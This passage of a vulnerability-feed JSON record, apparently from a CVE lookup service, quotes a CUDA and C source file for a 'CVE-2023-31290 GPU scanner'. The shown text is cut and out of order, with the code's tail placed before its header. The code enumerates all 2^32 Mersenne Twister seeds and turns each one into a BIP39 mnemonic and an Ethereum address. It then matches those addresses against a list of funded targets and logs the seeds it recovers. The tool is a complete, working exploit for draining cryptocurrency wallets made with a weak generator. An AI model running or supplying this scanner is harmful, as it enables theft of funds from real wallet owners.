16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e-&gt;group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e-&gt;bn = BN_CTX_new();\n  e-&gt;order = BN_new();\n  e-&gt;k = BN_new();\n  e-&gt;t = BN_new();\n  e-&gt;P = e-&gt;group ? EC_POINT_new(e-&gt;group) : NULL;\n  if (!e-&gt;group || !e-&gt;bn || !e-&gt;order || !e-&gt;k || !e-&gt;t || !e-&gt;P) return -1;\n  return EC_GROUP_get_order(e-&gt;group, e-&gt;order, e-&gt;bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e-&gt;P) EC_POINT_free(e-&gt;P);\n  if (e-&gt;t) BN_free(e-&gt;t);\n  if (e-&gt;k) BN_free(e-&gt;k);\n  if (e-&gt;order) BN_free(e-&gt;order);\n  if (e-&gt;bn) BN_CTX_free(e-&gt;bn);\n  if (e-&gt;group) EC_GROUP_free(e-&gt;group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e-&gt;k)) return -1;\n  if (EC_POINT_mul(e-&gt;group, e-&gt;P, e-&gt;k, NULL, NULL, e-&gt;bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e-&gt;group, e-&gt;P, form, out, want, e-&gt;bn) != want) return -1;\n  return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e-&gt;k) || !BN_bin2bn(il, 32, e-&gt;t)) return -1;\n  if (BN_is_zero(e-&gt;t) || BN_cmp(e-&gt;t, e-&gt;order) &gt;= 0) return -1;\n  if (BN_mod_add(e-&gt;k, e-&gt;k, e-&gt;t, e-&gt;order, e-&gt;bn) != 1) return -1;\n  if (BN_is_zero(e-&gt;k)) return -1;\n  return BN_bn2binpad(e-&gt;k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n  data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round &lt; 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i &lt; 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i &lt; 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] &lt;&lt; 1) | (bc[(i + 1) % 5] &gt;&gt; 63));\n      for (int j = 0; j &lt; 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i &lt; 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t &lt;&lt; KECCAKF_ROTC[i]) | (t &gt;&gt; (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j &lt; 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i &lt; 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i &lt; 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) &amp; tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen &gt;= rsiz) {\n    for (size_t i = 0; i &lt; rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i &lt; inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i &lt; 32; i++) { khex[2 * i] = hh[kh[i] &gt;&gt; 4]; khex[2 * i + 1] = hh[kh[i] &amp; 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  int rc = eth_from_seed64(&amp;e, seed, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&amp;e, got, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&amp;e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&amp;e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return;\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&amp;e);\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:27:06.835082Z"}, {"uuid": "33622842-6993-45c3-a005-45b5d888e638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/35e681d3d17540ee801f9da7be0cfeeb", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] 